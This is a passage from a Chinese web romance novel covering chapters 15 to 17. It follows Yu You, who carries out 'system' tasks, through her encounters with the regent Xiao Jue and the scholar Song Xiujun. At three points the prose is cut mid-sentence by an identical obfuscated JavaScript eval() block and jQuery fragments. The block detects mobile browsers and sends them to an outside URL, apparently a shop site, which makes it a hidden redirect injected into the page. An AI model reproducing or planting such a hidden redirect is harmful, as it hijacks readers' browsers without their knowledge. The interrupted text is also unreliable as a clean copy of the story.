她觉得自己今晚一定是被鬼附身了,不然怎么会一句接一句地说出这种话?
和摄政王还是保持距离为好,不然下一秒又蹦出个紧急任务为难她,做一些让人尴尬的事。
“不过,”萧绝话锋一转,语气变得认真起来,“余小姐方才在殿上出声时,神色惊慌,目光一直盯着本王手中的酒盏。可是那酒有什么问题?”
余柚心头一跳。
他果然察觉到了。
她抿了抿唇,不知道该怎么回答。她不知道该怎么解释既然有“预知梦”为何不提前告知摄政王。
犹豫半晌,她只能含糊道:“臣女……就是突然觉得心慌,觉得那酒……不太对劲。”
“又是梦?”萧绝侧头看她,月光勾勒出他线条分明的侧脸,眼眸在夜色中显得格外深邃。
?
他居然信了预知梦?
余柚硬着头皮点头:“嗯。”
萧绝沉默了片刻,没有再追问,只是淡淡道:“本王知道了。”
两人又走了一段路,气氛有些微妙。余柚觉得这样沉默下去也不是办法,便试图找话题:“王爷今日……为何要撤下那杯酒?”
话一出口她就后悔了。
这不是明知故问吗?
萧绝却似乎并不在意,语气平静:“余小姐既然觉得不对劲,那便撤下查查,总无坏处。”
顿了顿,他又道,“更何况,余小姐难得夸赞本王,本王若还喝了那杯酒,岂不是辜负了余小姐的美意?”
余柚:“……”
她能不能收回那句话?
她现在说“我刚才其实是胡言乱语”还来得及吗?
显然来不及了。
摄政王的心情似乎很好,脚步都轻快了几分。他忽然问道:“余小姐除了木雕,平日还喜欢做什么?”
余柚愣了一下,没想到他会问这个。她想了想,老老实实道:“看看话本,逛逛铺子,逗逗阿圆……就是我家隔壁那只狗。”
“话本?”萧绝似乎来了兴趣,“什么类型的话本?”
“就是……一些才子佳人的故事,江湖侠客的传奇,偶尔也有些志怪奇谈。”余柚说着,忽然想起什么,补充道,“不过都是些消遣的东西,上不得台面。”
“本王倒觉得挺有意思。”萧绝淡淡道,“从未看过这类书,听余小姐这么一说,倒是有些好奇。”
余柚眨了眨眼,有些意外:“王爷没看过话本?”
“本王自幼习文练武,学的是治国理政之道,看的是经史子集。”萧绝的语气很平淡,听不出什么情绪,“这些消遣之物,自然无人会给本王看。”
余柚忽然觉得,这位权倾朝野的摄政王,好像也没有传闻中那么……不近人情。
至少,他还会对民间的话本产生好奇。
她犹豫了一下,小声道:“王爷若是有兴趣,臣女可以……可以给王爷推荐几本。”
话一出口,她就想掐自己。
又来了!
她又开始“关心”他了!
今晚她真的不对劲!
可系统的新任务就是要她在保持表面抗拒的同时,暗地里关心摄政王。推荐话本,应该也算一种关心吧?
萧绝侧头看她,月光下,少女的脸颊还带着未散的红晕,眼神躲闪,明明很不自在,却还是小声说出了那句话。
他心里那点愉悦又多了几分。
“好。”他应得爽快,“那便有劳余小姐了。”
余柚点点头,不敢再多说,生怕自己又说出什么不该说的话。
两人就这样有一搭没一搭地聊着,不知不觉已经走到了宫门口。余府的马
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121166|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
车已经等在那里,余大人和余夫人正焦急地张望,见余柚和摄政王一同走来,两人脸上的表情都有些复杂。
“王爷。”余大人连忙上前行礼。
萧绝微微颔首:“余大人,余夫人。夜色已深,早些回府歇息吧。”
“是,多谢王爷。”余大人连声应着,又看了余柚一眼,眼神里写满了“回去再跟你算账”。
余柚缩了缩脖子,乖乖上了马车。
马车缓缓驶离宫门,余柚透过车窗,看见摄政王还站在原地,墨色的身影在月光下显得格外挺拔。他目送着马车离开,直到消失在街道尽头,才转身离去。
余柚靠在车壁上,长长松了口气。
今晚这一场,真是惊心动魄。
*
翌日。
余柚起了个大早,先去盛京楼转了一圈,处理了一些杂事,又去书铺挑了几本口碑不错的话本——都是些情节有趣、文笔尚可的才子佳人故事,应该适合摄政王这种“初学者”。
她特意选了几本装帧精美的,用油纸仔细包好,这才往摄政王府去。
王府的门卫似乎已经得了吩咐,见她来了,直接引着她往书房去。
摄政王已经在书房等着了。
他今日穿了一身月白色的常服,乌发用一根简单的玉簪束起,少了几分平日的威严,多了几分清雅的书卷气。见余柚进来,他放下手中的书卷,抬眸看她:“余小姐来了。”
“见过王爷。”余柚规规矩矩地行礼,把手里的小包袱放在一旁。
萧绝的目光落在那包袱上,眉梢微挑:“这是什么?”
“是……”余柚抿了抿唇,努力让自己的语气听起来冷淡一些,“是臣女昨日说的那些话本。王爷若是无聊,可以看看解闷。”
顿了顿,她又补充道:“不过都是些无聊的消遣之物,王爷若是看不上,丢了便是。”
这话说得,既送了礼,又维持了抗拒人设。
余柚觉得自己简直是个天才。
萧绝的唇角弯了弯,没有拆穿她的小心思,只是道:“多谢余小姐费心。”
他起身走到书案旁,打开包袱,取出那几本话本,一本本翻看。修长的手指抚过书封,动作轻柔,像是在对待什么珍贵的宝物。
余柚站在一旁,看着他专注的侧脸,心跳莫名快了几拍。
她赶紧移开视线,走到另一边的木雕工具旁,拿起一块木料,开始今天的“教学”。
“王爷今日想学什么?”
萧绝放下话本,走到她身边:“还是从基础的开始吧。余小姐上次教的星星,本王回去练了许久,还是有些不得要领。”
余柚点点头,拿起工具开始示范。
书房里又响起了熟悉的“沙沙”声。
阳光透过窗棂洒进来,落在两人身上,温暖而宁静。余柚认真地讲解着雕刻的技巧,萧绝认真地听着,偶尔动手尝试,遇到不懂的地方便开口询问。
气氛难得地和谐。
余柚偷偷瞄了一眼放在书案上的话本,心里松了口气。
系统没说话。
那这话本确实就只是算关心任务。
至于摄政王会不会去看,就不关她的事了。
她不知道的是,在她离开王府后,萧绝坐在书案前,翻开了她送来的第一本话本。书页间还残留着淡淡的墨香,他逐字逐句地读着,从最初的生疏,到渐渐沉浸其中。
窗外阳光正好,书房里静谧安然。
权倾朝野的摄政王,第一次看起了才子佳人的话本故事。
16. 第 16 章
春日融融,盛京楼的账本在晨光中泛着柔和的光。余柚刚将上月的盈亏理清,正揉着有些酸涩的手腕,小橘便捧着一封素雅信笺轻步走进来。
“小姐,宋大人派人送来的。”
余柚接过,拆开信。宋修筠的字迹一如既往的清隽工整,先是问候近况,继而提及京郊西山桃花正盛,他舅舅的菜园也正值春耕,想邀她同往踏青,一来可赏春景,二来也可实地看看菜园长势,商议下一季的供应细节。
理由合情合理,态度温和有礼。余柚没多犹豫,提笔回了帖,约定翌日同行。
*
翌日清晨,城门外。
宋修筠已候在马车旁,一袭月白长衫,腰间系着同色丝绦,墨发半束,气质清朗温润。见余柚带着小橘走来,他迎上两步,含笑拱手:“余小姐,早。”
“宋公子早。”余柚福身回礼,目光落在他身后的青帷马车上,“今日劳烦宋公子安排了。”
“余小姐客气了,请。”
马车平稳驶出城门,沿着官道向西山而去。车帘半卷,春风带着泥土和青草的清新气息涌入车厢。宋修筠温和地介绍着沿途景致,余柚听着,偶尔接话,气氛轻松而自然。
到了西山脚下的菜园,余柚仔细查看了各类蔬菜的品种、长势和灌溉情况,又问了管事先前几批供货的反馈。
宋修筠陪在一旁,对菜园的情况了如指掌,回答起余柚的问题条理清晰,显然是做过功课的。
余柚心中暗暗赞许。这位宋公子虽出身书香门第,又在朝为官,对庶务却并不陌生,与她合作以来,事事妥帖,是个极可靠的伙伴。
查看完毕,日头已近中天。宋修筠引路往山上桃林走去:“山上景致更佳,我已让人备了清茶点心,余小姐若不嫌弃,可稍作歇息。”
“宋公子安排周全,有劳了。”余柚欣然应允。
西山的桃花果真名不虚传。粉云匝地,香雪盈空,人在花海中穿行,衣袖都染了淡淡馨香。余柚难得偷闲,心情松快,眉眼间也带了笑。
两人寻了一处视野开阔的缓坡,铺了毡席坐下。小橘和宋家的仆从摆上茶点后,便退到不远处等候。
宋修筠为余柚斟了茶,茶汤清亮,映着天光云影。他沉默片刻,忽然开口:“余小姐,那日在琼林苑,我醉酒失态,若有冒犯之处,还望见谅。”
余柚微怔,随即摇头:“宋公子言重了。那日不过是飞花令尽兴,公子醉了也只是追问诗句罢了,何来冒犯。”
宋修筠似是松了口气,温润的眼眸看着她,神情认真:“不瞒余小姐,我自幼痴迷诗词,遇见精妙佳句,常忘乎所以。那日听余小姐随口吟哦,皆是闻所未闻的绝妙好辞,一时心驰神往,举止便失了分寸,过后想起,总觉不妥。”
他顿了顿,唇角浮起一抹略带自嘲的笑意:“家母常说我,见了诗文便如痴如狂,不像个稳重的朝廷命官。”
余柚被他这坦诚的模样逗得一笑:“宋公子是真性情。爱诗之人,遇见佳句心生欢喜,本是常情。”
“余小姐能理解,便好。”宋修筠笑意加深,眼神清澈,“能与余小姐谈诗论句,确是人生乐事。不瞒你说,自相识以来,每次与余小姐交谈,都觉获益匪浅,心情亦格外愉悦。”
他端起茶杯,语气真诚而平和:“我常想,人生得一知己,可共赏奇文,共析疑义,实乃大幸。若能常伴左右,不论是友是侣,皆是毕生之幸。”
这话说得坦荡,不带半分狎昵,只像是一个爱诗之人对知音的欣赏与珍视。
余柚心头微动,抬眼看他。宋修筠的目光清正平和,并无她先前隐约担忧的那种情愫,倒更像是对一种理想相处模式的向往。
她轻轻舒了口气,举杯回敬:“宋公子过誉了。能与公子谈诗论道,亦是余柚之幸。”
两人相视一笑,气氛复又轻松起来。话题自然而然转到近日读的诗文,又聊了些菜园合作的细节,直到日影西斜,才起身下山。
回程马车上,宋修筠又问了几个诗句的出处,余柚照旧用“隐士高人所传”含糊带过。他虽有些遗憾,却也不再追问,只感慨道:“天下之大,卧虎藏龙。只恨无缘得见那位高人。”
余柚但笑不语。
马车在余府门前停下,宋修筠先行下车,伸手欲扶余柚。余柚已自行提着裙摆轻盈跃下,他收回手,也不觉尴尬,只含笑拱手:“今日有劳余小姐奔波,合作之事,改日再细议。”
“宋公子慢走。”
目送马车驶远,余柚转身进府,并未留意到街角阴影处,一辆通体墨色的马车已停了许久。
车窗内,萧绝放下微掀的帘角,眸光沉沉。
*
翌日。
摄政王府书房。
余柚到时,萧绝正站在窗前,背对着门,手里捏着一块木料,不知在想什么。听见脚步声,他缓缓转身。
今日他穿了件暗青色常服,料子是极好的云锦,袖口绣着同色暗纹,低调却难掩贵气。只是脸色似乎比平日更冷峻几分,眼眸深黑,看不出情绪。
“王爷。”余柚依礼福身。
萧绝没说话,目光在她脸上停留片刻,才淡淡道:“来了。”
他走到长案旁,那里已摆好了木雕工具和几块上好的楠木。“今日学雕什么?”他问,语气平静无波。
余柚走到案前,挑了一块木料:“继续练基本功吧。上次的星星,王爷可练熟了?”
“尚可。”萧绝拿起刻刀,动作却有些心不在焉。
室内一时只闻刻刀与木料摩擦的沙沙声。余柚专注地雕着手里的木料,渐渐沉浸其中,没留意萧绝时不时投来的目光。
过了约莫一刻钟,萧绝忽然开口,声音不轻不重:“昨日踏青,可还愉快?”
余柚手下刻刀一顿,差点划偏,语气不善:“王爷跟踪我?”
“昨日去府上找你,你不在,多问了两句。”
她稳住手,语气尽量平淡:“尚可。西山的桃花开得正好。”
“嗯。”萧绝应了一声,指尖无意识地在木料上划着,“宋修筠倒是好雅兴,谈生意还专挑了赏花的好时节。”
这话听着寻常,余柚却隐隐觉得哪里不对。她抬头看他:“查看菜园,顺路赏景,也是常事。”
萧绝抬起眼,目光与她相接:“只是查看菜园?”
“自然。”余柚不解他为何追问,“宋公子对合作很上心,菜园打理得井井有条。”
“他对诗文也很上心。”萧绝的语气依旧平淡,却莫名让余柚感到一丝凉意,“你二人踏青,想必又谈了不少诗词歌赋?”
余柚终于察觉到他话里那一丝若有若无的……不悦?
“闲聊几句罢了。”她垂下眼,继续雕手里的木料,心头却有些打鼓。
这摄政王今日怎么回事?
萧绝看着她低垂的睫毛,那副全然不知的模样,让他心头那点说不清道不明的郁气更甚。他放下刻刀,走到她身侧。
“余柚。”他唤她名字,声音低了些。
余柚手一抖,刻刀在木料上划出一道略深的痕迹。她很少听他这样连名带姓地叫她。
“你可知,”萧绝看着她微微睁大的眼睛,缓缓道,“宋修筠,是你母亲为你相看的夫婿人选之一?”
余柚彻底愣住了。
“什……什么?”她怀疑自己听错了。
“余夫人近来与宋夫人走动频繁,京中已有风声。”萧绝的目光锁着她脸上的每一丝变化,“你昨日与他单独踏青,言笑晏晏,落在旁人眼里,意味着什么,你可想过?”
余柚脑子里嗡嗡作响。娘亲?相看夫婿?宋修筠?
她忽然想起近来母亲对宋修筠时不时的夸赞,想起她总爱打听她与宋修筠的往来,想起昨日出门前母亲那欣慰的笑容……
原来如此!
一股被蒙在鼓里的恼意和尴尬瞬间涌上心头,脸颊也控制不住地发烫。
“我……我不知道。”她声音有些发干,“娘亲从未与我提过。”
“现在你知道了。”萧绝看着她泛红的脸颊和眼中真实的错愕,心头那点莫名的烦躁奇异般地平息了些,但另一种更复杂的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121167|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情绪又翻涌上来。
他转过身,走回窗边,声音听不出喜怒,“你与他,相处得倒是投契。”
余柚站在原地,心乱如麻。她强迫自己冷静下来,仔细回想与宋修筠的往来——确实相谈甚欢,但那仅限于诗文和生意,她从未有过半分他想。宋修筠呢?他今日那番话……
她可以肯定。
那人单纯爱诗。
“宋公子只是欣赏诗词,视我为可论诗的友人。”她低声解释,手中的刻刀再次动起来,语气淡淡的,“并无他意。”
“友人?”萧绝侧过头,窗外光影在他轮廓分明的侧脸上投下淡淡阴影,“余柚,你有时天真得可笑。”
他语气并不严厉,甚至算得上平和,却让余柚心头一刺。
“我是否天真,与王爷无关。”她忍不住回了一句,带着些赌气的意味。
萧绝回过头,看着她微微鼓起脸颊的模样,像只被惹急了却又不敢真伸出爪子的小猫。他眼底掠过一丝极淡的笑意,那点郁气忽然就散了。
“罢了。”他走回案前,重新拿起刻刀,“继续吧。”
余柚却有些静不下心了。木料在她手里仿佛有了脾气,怎么刻都不顺。刻了半晌,她终于放下刻刀。
“王爷若无事,臣女今日先告退了。”她需要回去问清楚。
萧绝看了她一眼,没为难:“去吧。”
余柚行了一礼,转身快步离开。走到门口时,听见身后传来他淡淡的声音:
“明日可有空?”
余柚脚步一顿,没回头:“王爷有何吩咐?”
“踏青。”萧绝的声音听不出情绪,“西山桃花开得正好,本王也想看看。”
余柚:“……”
她咬了咬唇,没应声,径直走了。
*
回到余府,余柚径直去了余夫人的院子。
余夫人正在修剪一盆兰草,见女儿进来,笑着招呼:“柚儿回来啦?今日去王府可还顺利?”
“娘,”余柚开门见山,语气有些急,“您是不是……在为我相看亲事?宋修筠宋公子,是不是您看中的人选?”
余夫人修剪花枝的手一顿,脸上闪过一丝被戳破的不自在。她放下剪刀,拉着余柚在榻上坐下,叹了口气:“你这孩子,怎么突然问起这个?”
“您只需告诉我,是或不是。”
余夫人看着女儿严肃的脸,知道瞒不过,只得承认:“是。娘是觉得修筠那孩子不错,家世清白,人品端方,又有才华。最关键的是,我看你与他相处得挺好,能说到一块儿去。这过日子,若能找个志趣相投的,是福气。”
“所以您就瞒着我,让我与他往来?”余柚心里说不出是什么滋味,有恼火,也有无奈,“娘,您为何不直接问我?”
“娘不是怕你又倔脾气上来,一口回绝嘛。”
余夫人拍了拍她的手,语重心长,“柚儿,你年纪不小了,婚事总要考虑。宋家书香门第,清贵安宁,修筠性子温和,与你又谈得来,娘是真心觉得合适。”
余柚听明白了。
娘亲这就是怕她嫁不出去。
“娘,”她反握住母亲的手,语气认真,“我对宋公子,只有欣赏,并无男女之情。他对我,大抵也是如此。此事您别再操心了,我的婚事,我自己心里有数。”
余夫人还想说什么,见女儿眼神坚决,最终叹了口气:“好吧,娘知道了。只是你也别太任性,若有合意的,也要跟娘说。”
“嗯。”
从母亲院里出来,余柚心情复杂。她走到自己院中的石凳上坐下,望着天边渐沉的夕阳发呆。
暮色四合时,小橘拿着一张小纸条匆匆走来:“小姐,不知谁从门缝里塞进来的。”
余柚接过,展开。
纸条上只有一行字,笔力遒劲,带着不容置疑的味道:
“明日随本王踏青,如何?王府用早膳,膳后出发。”
没有署名。
余柚盯着那行字看了许久,指尖微微蜷起,头疼地按了按额角。
难搞。
17. 第 17 章
余柚捏着那张没署名的纸条,在院子里坐到暮色彻底吞没最后一丝天光。
纸条上的字迹她认得,那股子遒劲又带着点不容置喙的劲头,除了摄政王没别人。踏青?还王府用早膳?他倒是安排得挺周全。
她心里正天人交战着。
去?那岂不是显得她太过顺从,他说什么便是什么,半点脾气都没有了,多听话似的。
不去,又怕这位爷一个不高兴再整出什么幺蛾子。
让她好好想想……
就在这时,脑海里,系统的机械音毫无预兆地响了起来。
【叮!长期任务已更新。请宿主注意查收。】
【阶段目标:嘴硬心软:维持嘴上嫌弃的表象,行动上可明确表达关怀。例如:任务对象受伤时,宿主应主动上前帮忙处理伤口,无需遮掩关心意图。】
【注意:本阶段旨在推进情感互动,请宿主把握尺度,自然表现。】
余柚盯着虚空中只有她能看见的任务面板,嘴角不受控制地抽搐了两下。
得。
这下不用纠结了。
既然是嘴硬心软,那她肯定得赴约了,不然就是嘴硬心硬了。
不过这个任务……
嘴上嫌弃,行动关怀。
这不就是让她明着当个口是心非的主儿么?
受伤了就主动凑上去帮忙上药?
余柚捏了捏眉心,想起上次摄政王手掌划伤,她憋着劲儿只说“活该”,回头还得偷偷摸摸买药膏塞墙角的窘状。
这回倒好,能明着来了。
也好。
省得她总憋得慌,像做亏心事似的,偷偷摸摸,还生怕被关心的正主发现了。
她把那张纸条拢进袖中,转身回了屋。踏青是非去不可了,那就去呗。
顺其自然。
况且……这阶段任务又更新了,从“保持抗拒”到“暗搓搓关心”,再到如今明晃晃的“嘴硬心软”。
这说明什么?
这说明感情线正在急速推进啊!
余柚心底隐隐升起一丝雀跃:她觉得,离这个世界的任务完成,或许真的不远了!
*
翌日清晨。
余柚起得比平日略早些。挑了身便于行走的鹅黄色绣缠枝纹襦裙,外罩一件薄绒比甲,头发简单绾了个髻,插了支素银簪子。对着铜镜照了照,清爽利落,不至于太刻意,也不会失礼。
小橘陪她走到府门口,眼神里带着点欲言又止:“小姐,真要去摄政王府用早膳啊?”
“嗯。”余柚理了理袖口,“王爷‘盛情’相邀,怎好推辞。”
还能免费吃一顿丰盛的早膳,岂不美哉!
摄政王府的马车已等在门外,还是那辆通体墨色、瞧着就低调贵气的车驾。
汪公公亲自候在车边,见余柚出来,忙躬身行礼,笑容堆了满脸:“余小姐早,王爷吩咐老奴来接您。早膳已备好了,都是您爱吃的口味。”
余柚点了点头,没多说,上了马车。车厢里熏着淡淡的雪松香,和她记忆中的味道一样。她靠着车壁,听着轱辘碾过青石路的声响,心里那点因为任务而产生的别扭,渐渐被一种奇异的平静取代。
到了王府,直接被引至用膳的花厅,萧绝已经在了。
今日他换了身墨蓝色骑射常服,袖口收紧,腰束革带,比平日宽袍大袖的装扮更显挺拔利落,少了几分朝堂上的威仪,倒添了几分清爽的少年气——如果忽略他那张过于俊美又没什么表情的脸的话。
“王爷。”余柚规矩行礼。
萧绝抬眼看向她,目光在她身上停留了一瞬,才淡淡道:“坐。不必多礼。”
早膳果然丰盛,水晶虾饺、蟹黄汤包、桂花糖藕、枣泥山药糕……林林总总摆了一桌子,热气腾腾,香气扑鼻。余柚也不客气,坐下后便安静用膳。味道极好,尤其是那蟹黄汤包,皮薄馅足,汤汁鲜美,她吃得眉眼都舒展了些。
萧绝吃得不多,偶尔动筷,更多时候是端着茶杯,目光似有若无地落在她身上。
直到余柚放下筷子,用帕子拭了拭嘴角,他才开口:“还以为你今天不会来。”
余柚正端茶的手微微一顿。她抬眸,对上他的视线。
男人眼瞳深黑,里面映着窗棂透进来的晨光,也映着她的影子。她想起昨晚的纠结,想起系统的任务,抿了抿唇,语气努力维持着那点惯有的、带着刺的调子:“王爷亲自‘邀请’,臣女岂敢不从。只是这早膳虽好,下次若再这般‘先斩后奏’,臣女可未必领情了。”
话是硬的,但人毕竟来了,还坐在这里吃完了饭。
萧绝唇角几不可察地弯了一下,没接她这带刺的话,只道:“吃好了便出发吧。西山清晨景致最好。”
*
马车出了城,沿着官道往西山去。春日的阳光暖融融的,透过半卷的车帘洒进来。道路两旁草木新绿,野花星星点点,空气中弥漫着泥土和植物的清新气息。
车厢内很安静。余柚靠着窗,看外面流动的风景。萧绝闭目养神,两人都没说话,却也不觉尴尬,一种奇异的平和弥漫在小小的空间里。
到了西山脚下,马车停稳。萧绝先行下车,很自然地朝车内伸出手。
余柚看着那只骨节分明、修长干净的手,犹豫了一瞬。脑海里“行动关怀”的任务提示闪过,她抿了抿唇,最终还是将手轻轻搭了上去。他的掌心温热干燥,稳稳托住她的手,力道适中。
下了车,她便立刻收回手,指尖仿佛还残留着那一点温度。她别开视线,看向漫山遍野如云霞般的桃花:“果然开得正好。”
“嗯。”萧绝应了一声,率先沿着上山的小径走去。汪公公和侍卫们远远跟着,保持着一段不打扰的距离。
山间空气清新,鸟鸣清脆。两人一前一后,沿着蜿蜒的石阶缓步向上。余柚起初还有些拘谨,渐渐被这盎然春意感染,步履也轻快起来。偶尔见到一株开得特别繁茂的桃树,或是石缝里钻出的不知名野花,还会停下多看两眼。
萧绝始终走在她侧前方半步的位置,既不远离,也不过分靠近。偶尔她会不小心踩到松动的石子,身形微晃,他便似不经意般放缓脚步,或者侧身将容易绊脚的枝条拨开。
走到一处视野开阔的平台,两人不约而同停下脚步。此处位于半山腰,向下可俯瞰山脚菜园阡陌,远望能见京城轮廓隐约,抬头便是烂漫桃林,粉白花瓣随风簌簌飘落,如坠香雪。
“比昨日看到的,似乎更盛些。”余柚轻声道,伸手接住一片飘落的花瓣。
“心境不同,所见景致自然不同。”萧绝站在她身侧,目光也投向无边的花海,语气听不出情绪,“昨日余小姐是与知音论诗,今日是陪本王应约,恐怕觉得辜负了这春光吧。”
余柚转头看他。他侧脸线条在明媚春光里显得柔和了些,长睫垂下,遮住了眼底的神情。她忽然想起他昨日在书房说的那些话,关于宋修筠,关于“天真”。
她捏了捏手中的花瓣,语气硬邦邦地,却难得没有带刺:“王爷何必妄自菲薄。踏青赏花,与谁同行都是赏,谈不上辜负。倒是王爷,日理万机,抽空来这山野之间,才是难得。”
萧绝似乎没料到她会这样回答,微微一怔,随即转眸,视线落在她脸上。
少女亭亭立于缤纷落英之中,鹅黄的衣裙被山风拂动,衣袂飘飘,脸颊被阳光镀上一层浅金色的柔光。
她明明说着近乎顶撞的话,可那双清澈明净的眼眸里,却没有半分往日刻意装出的厌烦或闪躲,只有一片坦然,甚至……还有一丝不易察觉的、对他话语的认真思索。
他心里某处微微一动。
“余柚。”他忽然叫她的名字,声音比平时低了些。
“嗯?”余柚下意识应道,抬眸看他。
干嘛又叫她大名!
“若本王说,”他看着她,目光深邃,“今日邀你踏青,并非全为应景,亦非一时兴起,你可信?”
余柚心头一跳。这话里的意味太明显,让她有些措手不及。脸颊控制不住地开始发热,她强作镇定,移开视线,看向远处的桃花:“王爷说什么,臣女自然信。只是王爷的心思,臣女不敢妄加揣测。”
又是这种避重就轻、带着点刺的回答。但萧绝这次却没有感到不悦,反而从她微微泛红的耳尖和略显慌乱的语气里,捕捉到了一丝不同寻常。
他低低笑了一声,没再追问,只道:“走吧,前面景致更好。”
余柚跟着后方,紧紧盯着摄政王的背影,抿了抿唇。
她这下是真的感觉到剧情的推进了。
摄政王现在对她好像真的有点意思。
两人继续沿着小径往上走。气氛却和刚才有些不同了,空气里仿佛多了一丝若有若无的、粘稠又温热的东西,缠绕在呼吸之间。余柚觉得有些口干舌燥,心跳也比平时快了些。
她暗自懊恼。
这任务要求的“嘴硬心软”也太难拿捏了!
嘴上嫌弃她倒是擅长,可这“行动关怀”,还要主动关怀……
眼下这情形,风和日丽,他好端端的,难道要她没话找话,突兀地问一句“王爷您渴不渴?累不累?需要歇歇脚吗?”
正胡思乱想着,脚下忽然被一段裸露的树根绊了一下。
“啊!”她低呼一声,身体失去平衡,向前栽去。
电光石火间,一只手臂稳稳揽住了她的腰,将她往回带。力道很大,她整个人几乎撞进一个坚实的怀抱,鼻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122479|195493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尖瞬间充斥了那股熟悉的、干净的雪松木气息,混合着一点点春日山林间的草木清香。
她惊魂未定,手本能地抓住了对方胸前的衣料。
“小心。”头顶传来低沉的声音,带着一丝不易察觉的紧绷。
余柚猛地回过神,意识到自己正被萧绝紧紧搂在怀里,脸颊几乎贴着他的胸膛,甚至能感觉到布料之下温热的体温和沉稳的心跳。她脸上“轰”地一下烧得更厉害,手忙脚乱地想要退开。
“谢、谢谢王爷……”她语无伦次,挣扎着站直身体。
萧绝也适时松开了手臂,但眉头却几不可察地蹙了一下,右手下意识地往回缩了缩。
余柚站稳后,第一时间注意到他这个细微的动作。她目光下移,落在他右手手背上——一道寸许长、不算深却颇为醒目的刮痕赫然在目,正有细小的血珠一点点从破皮处渗出,凝聚,在他冷白如玉的皮肤衬托下,显得格外刺眼。
想必是刚才情急扶她时,手背被旁边伸出的带刺树枝刮到了。
【行动关怀!】
系统的提示音仿佛在脑子里敲锣打鼓。
余柚看着那抹鲜红,心头一紧。这次,她没有丝毫犹豫,上前一步就抓住了他的手腕。
她表现的机会来了!
“你受伤了!”她的声音带着自己都没察觉到的急切。
萧绝微怔,低头看了看自己的手背,又抬眼看向她。少女秀气的眉毛拧着,紧紧盯着那道伤口,眼底的担忧清晰可见,没有半分掩饰。
这与他预想中的反应截然不同。
他本以为,按照她一贯的性子,多半会别开脸,用那种硬邦邦的语气说一句“活该”或者“一点小伤,王爷何必在意”,然后或许会别扭地、假装不经意地提醒汪公公拿药。
“无碍,小伤。”他语气平淡,试图抽回手。
“什么小伤!都流血了!”余柚抓得更紧,目光迅速扫过四周,“汪公公!有随身带的伤药吗?”
不远处的汪公公早就注意到了这边的动静,闻言连忙小跑过来,从随身的小包里掏出一个精致的小瓷瓶和干净的棉帕:“有有有,王爷,余小姐,这是宫里上好的金疮药,效果极佳。”
余柚一把接过,动作干脆利落。她拉着萧绝走到旁边一块平整的大石边:“坐下。”
语气不容拒绝。
萧绝依言坐下,看着她。余柚也挨着他坐下,仔细看了看伤口,确认没有木刺残留,才用棉帕小心蘸去周围的血迹。她的动作很轻,指尖微凉,触碰到他皮肤时带来一阵细微的战栗。
打开瓷瓶,将淡黄色的药粉均匀洒在伤口上。药粉有些刺激,萧绝的手几不可察地颤了一下。
“疼吗?”余柚立刻抬头问,眼中是纯粹的关切。
萧绝看着她近在咫尺的脸,呼吸微滞。阳光透过花叶的缝隙洒在她脸上,连细细的绒毛都清晰可见。她专注地看着他的手,长睫如蝶翼般轻颤,神色是他从未见过的温柔与认真。
“……不疼。”他听到自己的声音比平时更低哑了些。
余柚没注意到他的凝视,又从自己袖中掏出一方干净的素帕,这是她出门前习惯性带着备用的,小心地将他的手背包扎起来,打了个不松不紧的结。
做完这一切,她才松了口气,抬起头。这一抬头,正好撞进萧绝深不见底的眼眸里。
那里面翻涌着太多她看不懂的情绪,专注、惊讶、探究,还有一丝……她不敢深想的柔软。
她的脸又红了,这才意识到自己刚才的举动有多么“越界”。
她松开手,往后挪了挪,拉开一点距离,语气重新带上那点惯有的硬邦邦,试图掩饰刚才的失态:“好、好了!王爷以后自己也当心些,扶人就好好扶,哪有救人反而把自己弄伤的?这荒郊野岭的,万一感染了,麻烦的还不是你自己!”
嘴上说着嫌弃的话,可方才那一连串焦急、关切、小心翼翼的动作,却明明白白烙在萧绝眼里,心头更是泛起一圈圈涟漪。
他看着手背上那个不算工整但异常妥帖的帕子结,又看看眼前明明羞窘却强装镇定的少女,心底那股陌生的、温热的悸动,如同破土的春芽,再也无法抑制。
他忽然伸手,用没受伤的左手,轻轻拂开她鬓边一缕被风吹乱的发丝。
指尖温热,擦过她微凉的耳廓。
余柚浑身一僵,睁大了眼睛看着他。
“余柚,”他低声唤她,声音里带着一种前所未有的、近乎温柔的磁性,“谢谢你。”
余柚张了张嘴,却发不出任何声音。脸颊烫得吓人,心跳如擂鼓。山风吹过,卷起漫天桃花,纷纷扬扬,落在他们的肩头、发梢。
这人好奇怪。
她也有点奇怪了。
18. 第 18 章
暮春的午后,暖风卷着街边槐花香,悠悠绕着盛京楼的朱红廊柱。
